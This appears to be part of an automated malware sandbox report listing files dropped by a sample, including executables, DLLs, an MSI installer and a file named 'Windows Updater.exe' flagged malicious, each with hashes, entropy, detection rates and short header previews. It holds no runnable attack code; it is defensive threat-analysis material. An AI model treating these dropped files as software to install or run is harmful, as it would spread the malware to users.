Preview:	ok

C:\Users\user\AppData\Local\Temp\is-PVR3Q.tmp\a0.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a0.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3199488
Entropy (8bit):	6.325059792485986
Encrypted:	false
SSDEEP:	49152:2WGtLBcXqFpBR6SVb8kq4pgquLMMji4NYxtJpkxhGjIHTbQ333TY:6tLutqgwh4NYxtJpkxhGj333T
MD5:	AD96645518D5ABDD4F96B007E799F61E
SHA1:	6F9EF4A1635C646710C4FB71DB3DAD0D9E5C754F
SHA-256:	BC267B0E5CE6F88EBB5CB9E309DD83096D7E33B597CACF9AB066989E836F056C
SHA-512:	21CF333F2024CFEF0F479823EB486BFEB9530BEEE4A20D6BB948E576F29571E8401A6AEF08106C582B71614CECA442BC6E6AFF60A5B493BCB8BE0A673B0D35F1
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L......c.................L,.........hf,......p,...@...........................1...........@......@....................-.......-..9...................................................................................-.......-......................text.... ,......",................. ..`.itext...(...@,.....&,............. ..`.data...X....p,......P,.............@....bss.....y....-..........................idata...9....-..:....,.............@....didata.......-.......-.............@....edata........-......-.............@..@.tls....L.....-..........................rdata..]............,-.............@..@.rsrc.................-.............@..@..............1.......0.............@..@........................................................

C:\Users\user\AppData\Local\Temp\shi27C0.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	5038592
Entropy (8bit):	6.043058205786219
Encrypted:	false
SSDEEP:	49152:vVkDvLSkqdbEsuV+ebMh8w+/H8pF/bmlEyGjWvcP1xQ+X7TqVAMPLfQyim8kznsY:2Ll+Mn0WHl9VA2ic/
MD5:	11F7419009AF2874C4B0E4505D185D79
SHA1:	451D8D0470CEDB268619BA1E7AE78ADAE0EBA692
SHA-256:	AC24CCE72F82C3EBBE9E7E9B80004163B9EED54D30467ECE6157EE4061BEAC95
SHA-512:	1EABBBFDF579A93BBB055B973AA3321FC8DC8DA1A36FDE2BA9A4D58E5751DC106A4A1BBC4AD1F425C082702D6FBB821AA1078BC5ADC6B2AD1B5CE12A68058805
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......e.D!...!...!...(.V.C...5..."...5...&...5...)...!......5...:...5... ...5...R...5.:. ...5... ...Rich!...................PE..d...p............." .........D...............................................`M.....'.M...`A........................................@.H.L&....I......@K.H.....I..............@M.....`J:.p.......................(....%..............@.......$.H......................text...4B.......D.................. ..`.wpp_sf.....`.......H.............. ..`.rdata...L......N.................@..@.data...hD...PI......*I.............@....pdata........I......2I.............@..@.didat.......0K.......J.............@....rsrc...H....@K.......J.............@..@.reloc.......@M.. ....L.............@..B........................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\shi2C43.tmp

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4509696
Entropy (8bit):	6.100941182830929
Encrypted:	false
SSDEEP:	49152:jm+XAVAMPLfOyim8iTRxYUOQSfLTZZZ2y38lb7Cjn3mboy4+MT7ujWx/Tl0ng48e:CzVAwiKTOpfLTDQyaNoy787ujWx/TlR
MD5:	F6153E803F1533042AC7E6988237C2C3
SHA1:	DDA81BB8BC8CC14877C9CB9B7C664DEFD81EBB4F
SHA-256:	F42A771D310C762C05A5BE3DE0CFDB9BEC28D3DFCCAEF800C901F551A0DF30ED
SHA-512:	7AE76A4CB58A9929C09B1D6376073268622C74B1E3F0C346AFA7A7829E2EF136CCF091F58CCA28BFE83C665573C23D9DB6AF51A44275DA0CC2CF8C1306ADDBAC
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........._.._.._..V.X.=..K..S..K..X..K..W.._.....K..^..K..-..K..D..K.4.^..K..^..Rich_..........................PE..L....+.X...........!.....dA.........P.3.......A....c.........................@E.......E...@A.........................i@.K&..L.A.......B.H.....................D..-......T....................O...... .................A.H....C@......................text.....@.......@................. ..`.wpp_sf.......@.......@............. ..`.data....6....A......hA.............@....idata...1....A..2...nA.............@..@.didat..4.....B.......A.............@....rsrc...H.....B.......A.............@..@.reloc...-....D.......C.............@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\shi2D6D.tmp

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	83128
Entropy (8bit):	6.654653670108596
Encrypted:	false
SSDEEP:	1536:0jIdYoF2CwmzOVStYMAuNWrmaTk++ouMOczT0ud4x41xmPS:0jRoFZwmr+bDk/MOcv0G4sxm
MD5:	125B0F6BF378358E4F9C837FF6682D94
SHA1:	8715BEB626E0F4BD79A14819CC0F90B81A2E58AD
SHA-256:	E99EAB3C75989B519F7F828373042701329ACBD8CEADF4F3FF390F346AC76193
SHA-512:	B63BB6BFDA70D42472868B5A1D3951CF9B2E00A7FADB08C1F599151A1801A19F5A75CFC3ACE94C952CFD284EB261C7D6F11BE0EBBCAA701B75036D3A6B442DB2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......V.T...:...:...:.....&.:...9...:...;...:...;...:...:...:...4...:...?...:......:...>...:......:...8...:.Rich..:.................PE..L...Y.............!.........H.......n..............................................;.....@A........................P........B.......`............... ...$...p..........T............................................@...............................text.../........................... ..`.data....!..........................@....idata..H....@......................@..@.rsrc........`......................@..@.reloc.......p......................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\shi478C.tmp

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4509696
Entropy (8bit):	6.100941182830929
Encrypted:	false
SSDEEP:	49152:jm+XAVAMPLfOyim8iTRxYUOQSfLTZZZ2y38lb7Cjn3mboy4+MT7ujWx/Tl0ng48e:CzVAwiKTOpfLTDQyaNoy787ujWx/TlR
MD5:	F6153E803F1533042AC7E6988237C2C3
SHA1:	DDA81BB8BC8CC14877C9CB9B7C664DEFD81EBB4F
SHA-256:	F42A771D310C762C05A5BE3DE0CFDB9BEC28D3DFCCAEF800C901F551A0DF30ED
SHA-512:	7AE76A4CB58A9929C09B1D6376073268622C74B1E3F0C346AFA7A7829E2EF136CCF091F58CCA28BFE83C665573C23D9DB6AF51A44275DA0CC2CF8C1306ADDBAC
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........._.._.._..V.X.=..K..S..K..X..K..W.._.....K..^..K..-..K..D..K.4.^..K..^..Rich_..........................PE..L....+.X...........!.....dA.........P.3.......A....c.........................@E.......E...@A.........................i@.K&..L.A.......B.H.....................D..-......T....................O...... .................A.H....C@......................text.....@.......@................. ..`.wpp_sf.......@.......@............. ..`.data....6....A......hA.............@....idata...1....A..2...nA.............@..@.didat..4.....B.......A.............@....rsrc...H.....B.......A.............@..@.reloc...-....D.......C.............@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\shi4877.tmp

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	83128
Entropy (8bit):	6.654653670108596
Encrypted:	false
SSDEEP:	1536:0jIdYoF2CwmzOVStYMAuNWrmaTk++ouMOczT0ud4x41xmPS:0jRoFZwmr+bDk/MOcv0G4sxm
MD5:	125B0F6BF378358E4F9C837FF6682D94
SHA1:	8715BEB626E0F4BD79A14819CC0F90B81A2E58AD
SHA-256:	E99EAB3C75989B519F7F828373042701329ACBD8CEADF4F3FF390F346AC76193
SHA-512:	B63BB6BFDA70D42472868B5A1D3951CF9B2E00A7FADB08C1F599151A1801A19F5A75CFC3ACE94C952CFD284EB261C7D6F11BE0EBBCAA701B75036D3A6B442DB2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......V.T...:...:...:.....&.:...9...:...;...:...;...:...:...:...4...:...?...:......:...>...:......:...8...:.Rich..:.................PE..L...Y.............!.........H.......n..............................................;.....@A........................P........B.......`............... ...$...p..........T............................................@...............................text.../........................... ..`.data....!..........................@....idata..H....@......................@..@.rsrc........`......................@..@.reloc.......p......................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Johan.msi

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, MSI Installer, Last Printed: Fri Dec 11 11:47:44 2009, Create Time/Date: Fri Dec 11 11:47:44 2009, Last Saved Time/Date: Fri Sep 18 15:06:51 2020, Security: 0, Code page: 1252, Revision Number: {C5EBDD8B-C384-4CB5-9A33-9A4EF2189D51}, Number of Words: 0, Subject: Windows Manager, Author: AW Manager, Name of Creating Application: Windows Manager, Template: ;1033, Comments: This installer database contains the logic and data required to install Windows Manager., Title: Installation Database, Keywords: Installer, MSI, Database, Number of Pages: 200
Category:	dropped
Size (bytes):	3986432
Entropy (8bit):	6.570721162159989
Encrypted:	false
SSDEEP:	49152:7BAYNADU8HZ3nqmAc4RQ8BtDAoB4aNXVW+hv+Ahi8RhZ2i/NToL5ZHd9ZP9Z9Lzq:WYNAD0tDrPhhoL/+e4UpzjM
MD5:	6024D8C2207FC4610416BEAF8D360527
SHA1:	793AB731B07BF86ECC3BA78E1B76DC2AA0B48F8A
SHA-256:	CB4CAD56EA5391E44DC661513C4F021C5272DB710CC1733251152D1CB0EB5829
SHA-512:	0BB9CD1EC8873137E654A94C21887B7D4C73A9E561563D52DDEC18377552D1A33D256487362BB614EBB3D804047427977B3EB0070C92FC43D0DD656AF13EEAB4
Malicious:	false
Reputation:	unknown
Preview:	......................>...................=...................................T.......\|.......E...F...G...H...I...J...K...L...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t........................................... ...!.......................................................;...<...=...>...?...@.......................................................................................................................................................................................................................o...............)...@........................................................................................... ...!..."...#...$...%...&...'...(...6...*...7...,...-......./...0...1...2...3...4...5.......8...>...9...:...;...<...=...A...?...H...K...B...C...D...E...F...G...S...I...J.......L...M...N...O...P...Q...R...:...........V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

C:\Users\user\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Updater.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1026936
Entropy (8bit):	6.391700413941365
Encrypted:	false
SSDEEP:	24576:lViYocX3hU49N1frFMDtpen0qZxVzCdUVdjKFoTo:LiYoM6EODtA0qZadUVdjKFoTo
MD5:	F95007206C6B2407FB69748EF7C93612
SHA1:	1B7B10470BCC56823A25274BCC3C4BFBEC76E428
SHA-256:	85CA1094E52A33019BE8EBEE09C580A31D4CAA846A6BE4412C58796BFC0FAB5A
SHA-512:	001975689CB431EC8E79D4A90597E8055DABF8E18C769818646BE7BA7708C57192956E0DC43EE3E25DD302F33246DDC226B5D6A660650878A2031B20E1B52752
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 65%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......l..7(.{d(.{d(.{d..xe&.{d..~e..{dJ..e;.{dJ.xe1.{dJ.~eu.{d...e3.{d..}e).{d..ze..{d(.zd..{d..reU.{d...d).{d..ye).{dRich(.{d........PE..L.....gb.........."..............................@.......................................@.....................................,.......4>..............x....0.......:..p...................@;..........@...............t...<........................text...o........................... ..`.rdata..2...........................@..@.data...D)..........................@....rsrc...4>.......@..................@..@.reloc.......0......................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\decoder.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	211456
Entropy (8bit):	6.450132187386898
Encrypted:	false
SSDEEP:	3072:WltFwoJxZQ4fK70l5DqKtRnBBjGd4uM4h0lntiEnc2xMl4fTVERt:WaU87+3nHy6n0NGJERt
MD5:	8A3F1A0DA39530DCB8962DD0FADB187F
SHA1:	D5294F6BE549EC1F779DA78D903683BAB2835D1A
SHA-256:	C6988E36B1E1D6FFC89D9FA77AD35F132F5AA89E680D0155E0B6AEE1C524C99F
SHA-512:	1E0D5BE3EE164FB16DE629A975F3C3DA61659B99A0FC766850FFEEDDB2D32B7EE0D3B85C77F01D34D9FE2933BD7BD11C6DBA7B35D30FAED7CE09485FD706D49D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......+(..oI..oI..oI..;..eI..;...I...1..JI...1...I...1..yI..;..zI..;..hI..oI...I...0..3I...0..nI...0..nI..oIe.nI...0..nI..RichoI..................PE..L.....gb.........."!.....f................................................................@.................................\...<....... .......................@ ......p...............................@...............t............................text....d.......f.................. ..`.rdata...............j..............@..@.data...dV... ......................@....rsrc... ...........................@..@.reloc..@ ......."..................@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\holder0.aiph

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe
File Type:	data
Category:	dropped
Size (bytes):	1026936
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	59F47C235E8563ADFDF887F2278F4180
SHA1:	31986FB97FFCACEF24485FDB37B115F543A670B1
SHA-256:	4177989F2BC8C359B1F7774F2CAB70CB65DB9E569E975869A53F76FB109D75AA
SHA-512:	E9E487C6031AB1AB18DA04302FB53DF59140BF03D3DA082665337A7D628F9D37A3EF3530E359E83A7DB47755BDF79E09AC48AFF346C01380F7990BC838CA0125
Malicious:	false
Reputation:	unknown
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Dec 6 12:52:16 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.973502512876119
Encrypted:	false
SSDEEP:	48:8HrdiTu2uHMidAKZdA19ehwiZUklqehvy+3:8H4PlYy
MD5:	717FE61D4C75454DABCB2608236257B0
SHA1:	B0BAD43B0B4D8B1E8AB05380E54AA1C05E49FCBA
SHA-256:	5043072E561FEB1B5E3EBC55C9447527B3ACF0B05CEF1AB84DB4DAE49474D2EF
SHA-512:	2E75DCFC83F6788416EEDE34BC5D112AF0357A767C75FA0153BEB7D730769A1C590ECC116B159A11790B45A915BE2BDC77AFE5532FCB3244818191161FA6BD39
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.......lK(..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.W.n....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.W.n....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.W.n....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.W.n..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.W.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............&h.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Dec 6 12:52:15 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9887343168640372
Encrypted:	false
SSDEEP:	48:8xdiTu2uHMidAKZdA1weh/iZUkAQkqehIy+2:8GP/9QNy
MD5:	024F95A469C7BAC1C0AB15579BF346A5
SHA1:	ADD24505E1217CB66915B1C93553602769BDEDFF
SHA-256:	9857AFB3B02B180261AB04E104FD0C4ABE5738DCAD03944B702E24CE0AB77EEC
SHA-512:	050B52F1B2A58A90ACCBACFA6D04C1E3FD99F2892C6BE789D151C0C9FA6E0557BB2530306F1B272D156509B29FDD8465D6BE877B542B6F755E46FE051FBC555F
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.....l.kK(..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.W.n....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.W.n....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.W.n....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.W.n..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.W.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............&h.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.002118183491967
Encrypted:	false
SSDEEP:	48:8xvdiTu2sHMidAKZdA14tseh7sFiZUkmgqeh7sGy+BX:8x8Plncy
MD5:	82EFD83E7DC0D9A41FBDBB64EA357428
SHA1:	3BFFE3A057B76145BA350CA083186D9E99A910B7
SHA-256:	C5768AEC72D1374620FA5807D02BEF4F973DEE8A4C3AB21A07B86D45BAAEF8AA
SHA-512:	BA1CD2B430ABBC5B925770C60A4289DF1C7D640B43F5ED812A3D78D1729477997FB8E5F52BCD3EF21AB36C2F9884D3A4497E90C048A815AFC64A8B659FF3A322
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.W.n....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.W.n....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.W.n....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.W.n..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............&h.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Dec 6 12:52:15 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9884467900648137
Encrypted:	false
SSDEEP:	48:80diTu2uHMidAKZdA1vehDiZUkwqehUy+R:89P8ey
MD5:	CFCD2C699E809EE273608E20A8E4F51F
SHA1:	80165E97F516870286D8B4B24DC8137B66CE0D36
SHA-256:	6EE742F26B58982C731E7AEC7A39FB8F7A1DFDBC9F50167BB27964AC2D1011C1
SHA-512:	6356FCD4FE9A85D4B2732D652515B970D4244D72307F5FBD99BC251F93795F3D475F64063943D82852AB39D2C54F5ACD33521A5D83AB2929B210659B8D5EDFD8
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.....3.kK(..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.W.n....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.W.n....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.W.n....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.W.n..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.W.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............&h.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Dec 6 12:52:16 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9790918962204467
Encrypted:	false
SSDEEP:	48:81diTu2uHMidAKZdA1hehBiZUk1W1qehay+C:8qPM96y
MD5:	2ECEEC32B1CFEB161B27288E9615FA18
SHA1:	045F7ED2556C6ED0721C47BEE3B3DE3C37E184E2
SHA-256:	18845E349A09D6ED62B49463A9336E6CEA98065A5C9876E3740DF81BA90D4743
SHA-512:	B8386B9BC02624863C2B874FE444D6A7C06BE5690F766343D18C9C174A89060A27968461151C9F582AECF317C7EA6892470D9355301AB485B8D36AFA3E9CAB9E
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.......kK(..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.W.n....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.W.n....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.W.n....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.W.n..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.W.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............&h.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Dec 6 12:52:15 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.988008536948826
Encrypted:	false
SSDEEP:	48:8ydiTu2uHMidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbcy+yT+:8rPiT/TbxWOvTbcy7T
MD5:	A64971C4BADFB52D509C19835848EFD2
SHA1:	0701EF69A61548A8428E1D6E5B982315341B6E81
SHA-256:	9C8BBD5DD624B6E462554784C464ED0BC541944581001065F95064D2FB55ACFB
SHA-512:	6FEBBAFB8B99654BA12E9F23FBFB6F29ADFC2F82A3A086E15E4CB68B1EC6D9FB20BBBB743055C8ED5E7F1E633D0754B249FC203AA05A4F5718B1A3063D004C1A
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.....L.kK(..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.W.n....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.W.n....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.W.n....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.W.n..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.W.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............&h.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Windows\Installer\413de7.msi

Download File

Process:	C:\Windows\System32\msiexec.exe
